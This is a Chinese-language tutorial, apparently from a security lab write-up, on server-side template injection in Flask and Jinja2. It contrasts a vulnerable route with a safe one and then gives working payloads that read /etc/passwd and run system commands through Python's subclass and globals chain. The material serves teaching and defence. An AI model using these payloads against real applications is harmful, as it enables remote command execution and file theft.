flask
Flask 是一個 web 框架。也就是說 Flask 為你提供工具,庫和技術來允許你構建一個 web 應用程序。這個 wdb 應用程序可以使一些 web 頁面、博客、wiki、基於 web 的日歷應用或商業網站。
Flask 屬於微框架(micro-framework)這一類別,微架構通常是很小的不依賴於外部庫的框架。這既有優點也有缺點,優點是框架很輕量,更新時依賴少,並且專注安全方面的 bug,缺點是,你不得不自己做更多的工作,或通過添加插件增加自己的依賴列表。Flask 的依賴如下:
- Werkzeug 一個 WSGI 工具包
- jinja2 模板引擎
Flask簡單易學,下面是Flask版的hello world(hello.py):
from flask import Flask
app = Flask(__name__)
@app.route("/")
def hello():
return "Hello World!"
if __name__ == "__main__":
app.run()
安裝flask即可運行了:
$ pip install Flask
$ python hello.py
* Running on http://localhost:5000/
*flask默認端口是5000
Jinja 2
- Jinja 2是一種面向Python的現代和設計友好的模板語言,它是以Django的模板為模型的
- Jinja2 是 Flask 框架的一部分。Jinja2 會把模板參數提供的相應的值替換了 {{…}} 塊
- Jinja2 模板同樣支持控制語句,像在 {%…%} 塊中
{# This is jinja code
# 控制結構
{% for file in filenames %}
# 取值
{{ file }}
{% endfor %}
#}
Demo
from jinja2 import Template
t=Template('{% for i in range(10) %}{{ i }}{% endfor %}')
print t.render()

漏洞原理
先進入容器看一下web服務的代碼

from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
if __name__ == "__main__":
app.run()
看到Template("Hello " +name),Template()完全可控,那么就可以直接寫入jinja2的模板語言,如

當然發送這種情況不能由jinja2背鍋,這完全是開發人員的編碼不當,若我修改如下
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/safe")
def safe():
name = request.args.get('name', 'guest')
t = Template("Hello {{n}}")
return t.render(n=name)
if __name__ == "__main__":
app.run()
就不存在模板注入

Jinja2 的模板中執行 Python 代碼
在jinja2中是可以直接訪問python的一些對象及其方法的,如
字符串對象及其upper函數,列表對象及其count函數,字典對象及其has_key函數

那么如何在 Jinja2 的模板中執行 Python 代碼呢?如官方的說法是需要在模板環境中注冊函數才能在模板中進行調用,例如想要在模板中直接調用內置模塊os,即需要在模板環境中對其注冊
那么,如何在未注冊OS模塊的情況下在模板中調用popen()函數執行系統命令呢?前面已經說了,在 Jinja2 中模板能夠訪問 Python 中的內置變量並且可以調用對應變量類型下的方法,用到常見的 Python 沙盒環境逃逸方法
利用 Python 特性
- __bases__
以元組返回一個類直接所繼承的類- __mro__
以元組返回繼承關系鏈- __class__
返回對象所屬的類- __globals__
以dict返回函數所在模塊命名空間中的所有變量- __subclasses__()
以列表返回類的子類- _builtin_
內建函數,python中可以直接運行一些函數,例如int(),list()等等,這些函數可以在__builtins__中可以查到。查看的方法是dir(__builtins__)
ps:在py3中__builtin__被換成了builtin
__builtin__ 和 __builtins__之間是什么關系呢?
- 在主模塊main中,__builtins__是對內建模塊__builtin__本身的引用,即__builtins__完全等價於__builtin__,二者完全是一個東西,不分彼此。
- 非主模塊main中,__builtins__僅是對__builtin__.__dict__的引用,而非__builtin__本身
用file對象讀取文件
不能像字符串對象,列表對象那樣直接引用('' []),那如何拿到file對象呢?就用上面給的屬性和方法,如
for c in {}.__class__.__base__.__subclasses__():
if(c.__name__=='file'):
print(c)
print c('test.txt').readlines()
該代碼從列表對象獲取其類,再取基類(object),再取object的所有子類,從子類中尋找file類,如果找到就使用其構造方法創建對象后再用readlines讀取文件內容

用jinja2語法就是
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='file' %}
{{"find!"}}
{{ c("/etc/passwd").readlines() }}
{% endif %}
{% endfor %}
在本機測試沒有問題,但是在這個doker容器里不知道為什么找不見file類


emmm,經測試發現在python3中並沒有file類,所以上述讀取文件的方法只適用於python2

那么就有必要找到python2/3通用的方法,就直接找eval,有了這個還有什么不能做
尋找__builtins__得到eval
for c in ().__class__.__bases__[0].__subclasses__():
try:
if '__builtins__' in c.__init__.__globals__.keys():
print(c.name)
except:
pass

找到了一個python2/3都有__builtins__的類 _IterationGuard
於是python2/3通用的執行任意代碼
for c in ().__class__.__bases__[0].__subclasses__():
if c.__name__=='_IterationGuard':
c.__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

用jinja的語法即為(執行命令使用os.popen('whoami').read()才有執行結果的回顯)
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='_IterationGuard' %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
{% endif %}
{% endfor %}

我本機上存在中文編碼的問題,所以命令執行結果帶中文的話會出錯,所以就用echo l3yx展示下執行命令的效果

直接從globals中尋找eval
原理和上面大同小異,vulhub的文檔中用的就是這種
payload
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
參考:
Server-Side Template Injection
利用 Python 特性在 Jinja2 模板中執行任意代碼
用python繼承鏈搞事情 (膜 Orz)
